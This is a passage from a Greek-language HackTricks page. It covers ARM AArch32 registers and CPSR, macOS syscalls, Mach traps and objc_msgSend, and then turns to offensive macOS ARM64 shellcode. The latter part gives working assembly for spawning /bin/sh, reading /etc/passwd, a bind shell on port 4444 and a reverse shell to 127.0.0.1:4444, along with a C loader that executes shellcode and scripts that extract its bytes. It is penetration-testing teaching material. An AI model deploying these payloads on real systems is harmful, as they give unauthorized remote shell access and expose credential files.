Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα ένα πρόγραμμα 64-bit σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το bit 4 του ειδικού καταχωρητή SPSR_ELx στο 1 όταν το νήμα διεργασίας AArch32 είναι έτοιμο για εκτέλεση και το υπόλοιπο του SPSR_ELx αποθηκεύει το CPSR των προγραμμάτων AArch32. Στη συνέχεια, η διαδικασία με προνόμια καλεί την εντολή ERET ώστε ο επεξεργαστής να μεταβεί σε AArch32 εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR.

Το interworking γίνεται χρησιμοποιώντας τα bit J και T του CPSR. J=0 και T=0 σημαίνει A32 και J=0 και T=1 σημαίνει T32. Αυτό ουσιαστικά σημαίνει τη ρύθμιση του χαμηλότερου bit στο 1 για να υποδειχθεί ότι το σύνολο εντολών είναι T32.
Αυτό ρυθμίζεται κατά τις interworking branch instructions, αλλά μπορεί επίσης να ρυθμιστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:

Another example:

armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registers

Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). Από r0 έως r14 μπορούν να χρησιμοποιηθούν για οποιαδήποτε λειτουργία, ωστόσο κάποιοι συνήθως επιφυλάσσονται:

  • r15: Program counter (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 current + 8, στο T32 current + 4.
  • r11: Frame Pointer
  • r12: Intra-procedural call register
  • r13: Stack Pointer (Σημείωση: η στοίβα είναι πάντα στοιχισμένη στα 16 bytes)
  • r14: Link Register

Επιπλέον, οι καταχωρητές αντιγράφονται σε banked registries. Πρόκειται για θέσεις που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας γρήγορο context switching στην επεξεργασία εξαιρέσεων και σε privileged operations, ώστε να αποφεύγεται η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά.
Αυτό γίνεται αποθηκεύοντας την κατάσταση του επεξεργαστή από το CPSR στο SPSR της λειτουργίας επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το CPSR αποκαθίσταται από το SPSR.

CPSR - Καταχωρητής Τρέχουσας Κατάστασης Προγράμματος

Στο AArch32 ο CPSR λειτουργεί παρόμοια με το PSTATE στο AArch64 και αποθηκεύεται επίσης στο SPSR_ELx όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:

Τα πεδία χωρίζονται σε κάποιες ομάδες:

  • Application Program Status Register (APSR): Σημαίες αριθμητικών πράξεων και προσπελάσιμο από EL0
  • Execution State Registers: Συμπεριφορά διεργασίας (διαχειρίζεται από το OS).

Καταχωρητής Κατάστασης Εφαρμογής (APSR)

  • Οι N, Z, C, V σημαίες (όπως στο AArch64)
  • Η Q σημαία: Θέτεται σε 1 κάθε φορά που συμβαίνει κορεσμός ακεραίων κατά την εκτέλεση μιας ειδικής saturating arithmetic instruction. Μόλις τεθεί σε 1, διατηρεί την τιμή μέχρι να μηδενιστεί χειροκίνητα. Επιπλέον, δεν υπάρχει εντολή που να ελέγχει την τιμή της έμμεσα — πρέπει να διαβαστεί χειροκίνητα.
  • GE (Greater than or equal) σημαίες: Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) operations, όπως "parallel add" και "parallel subtract". Αυτές οι ενέργειες επιτρέπουν την επεξεργασία πολλαπλών δεδομένων σε μία εντολή.

Για παράδειγμα, η εντολή UADD8 προσθέτει τέσσερα ζεύγη bytes (από δύο 32-bit operands) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Έπειτα θέτει τις GE σημαίες στο APSR βάσει αυτών των αποτελεσμάτων. Κάθε GE σημαία αντιστοιχεί σε μία από τις προσθήκες byte, υποδεικνύοντας αν η πρόσθεση για εκείνο το ζεύγος byte προκάλεσε υπερχείλιση.

Η εντολή SEL χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει υπό όρους ενέργειες.

Καταχωρητές Κατάστασης Εκτέλεσης

  • Τα bit J και T: Το J πρέπει να είναι 0 και αν το T είναι 0 χρησιμοποιείται το instruction set A32, ενώ αν είναι 1 χρησιμοποιείται το T32.
  • IT Block State Register (ITSTATE): Είναι τα bits 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμα IT.
  • Το bit E: Δηλώνει την διάταξη byte (endianness).
  • Mode και Exception Mask Bits (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο bit δείχνει αν το πρόγραμμα τρέχει ως 32bit (1) ή 64bit (0). Τα υπόλοιπα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται (όταν συμβαίνει μια εξαίρεση και αυτή χειρίζεται). Ο αριθμός που είναι ρυθμισμένος υποδεικνύει την τρέχουσα προτεραιότητα σε περίπτωση που ενεργοποιηθεί άλλη εξαίρεση ενώ αυτή επεξεργάζεται.
  • AIF: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits A, I, F. Αν το A είναι 1 σημαίνει ότι θα προκληθούν asynchronous aborts. Το I ρυθμίζει την ανταπόκριση σε εξωτερικά hardware Interrupts Requests (IRQs). Το F σχετίζεται με Fast Interrupt Requests (FIRs).

macOS

BSD syscalls

Δείτε syscalls.master ή τρέξτε cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. Τα BSD syscalls θα έχουν x16 > 0.

Mach Traps

Δείτε στο syscall_sw.c τον mach_trap_table και στο mach_traps.h τα prototypes. Ο μέγιστος αριθμός Mach traps είναι MACH_TRAP_TABLE_COUNT = 128. Οι Mach traps θα έχουν x16 < 0, οπότε πρέπει να καλείτε τους αριθμούς από τη προηγούμενη λίστα με ένα minus: _kernelrpc_mach_vm_allocate_trap είναι -10.

Μπορείτε επίσης να ελέγξετε το libsystem_kernel.dylib σε έναν disassembler για να βρείτε πώς να καλείτε αυτές (και τις BSD) syscalls:

bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.

tip

Μερικές φορές είναι πιο εύκολο να ελέγξετε τον decompiled κώδικα από libsystem_kernel.dylib παρά να ελέγξετε τον source code, επειδή ο κώδικας πολλών syscalls (BSD και Mach) παράγεται μέσω scripts (δείτε τα σχόλια στο source code), ενώ στο dylib μπορείτε να βρείτε τι καλείται.

machdep calls

XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζονται machine dependent. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί εγγυώνται ότι θα παραμείνουν σταθεροί.

comm page

Πρόκειται για μια kernel-owned memory page που γίνεται mapping στο address space κάθε διεργασίας χρήστη. Σκοπός της είναι να κάνει τη μετάβαση από το user mode στο kernel space ταχύτερη από τη χρήση syscalls για υπηρεσίες του kernel που χρησιμοποιούνται τόσο συχνά ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.

Για παράδειγμα η κλήση gettimeofdate διαβάζει την τιμή του timeval απευθείας από την comm page.

objc_msgSend

Είναι εξαιρετικά συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός Objective-C αντικειμένου.

Parameters (more info in the docs):

  • x0: self -> Δείκτης προς το αντικείμενο
  • x1: op -> Selector της μεθόδου
  • x2... -> Τα υπόλοιπα ορίσματα της κληθείσας μεθόδου

Άρα, αν βάλετε breakpoint πριν από το branch προς αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από NSConcreteTask που θα εκτελέσει μια εντολή):

bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

tip

Ορίζοντας τη μεταβλητή περιβάλλοντος NSObjCMessageLoggingEnabled=1 είναι δυνατό να καταγράψετε πότε καλείται αυτή η συνάρτηση σε ένα αρχείο όπως /tmp/msgSends-pid.

Επιπλέον, ορίζοντας OBJC_HELP=1 και καλώντας οποιοδήποτε binary μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να καταγράψετε πότε συμβαίνουν ορισμένες ενέργειες Objc-C.

Όταν καλείται αυτή η συνάρτηση, χρειάζεται να εντοπιστεί η κληθείσα μέθοδος του υποδεικνυόμενου αντικειμένου — γι' αυτό γίνονται διάφορες αναζητήσεις:

  • Εκτέλεσε optimistic cache lookup:
  • Αν επιτύχει, τελείωσε
  • Απόκτησε runtimeLock (read)
  • Αν (realize && !cls->realized) realize class
  • Αν (initialize && !cls->initialized) initialize class
  • Δοκίμασε το cache της κλάσης:
  • Αν επιτύχει, τελείωσε
  • Δοκίμασε τη λίστα μεθόδων της κλάσης:
  • Αν βρεθεί, γέμισε το cache και τελείωσε
  • Δοκίμασε το cache της υπερκλάσης:
  • Αν επιτύχει, τελείωσε
  • Δοκίμασε τη λίστα μεθόδων της υπερκλάσης:
  • Αν βρεθεί, γέμισε το cache και τελείωσε
  • Αν (resolver) δοκίμασε τον method resolver, και επανάλαβε από το class lookup
  • Αν εξακολουθεί να βρίσκεται εδώ (= όλα τα υπόλοιπα απέτυχαν), δοκίμασε τον forwarder

Shellcodes

Για να μεταγλωττίσετε:

bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Για να εξαγάγετε τα bytes:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Για νεότερα macOS:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C code για δοκιμή του shellcode
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Λήφθηκε από here και εξηγείται.

armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Ανάγνωση με cat

Ο στόχος είναι να εκτελεστεί execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (που στη μνήμη αυτό σημαίνει μια στοίβα διευθύνσεων).

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Εκτέλεση εντολής με sh από fork ώστε η κύρια διεργασία να μην τερματιστεί

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell από https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s σε port 4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

Από https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell σε 127.0.0.1:4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks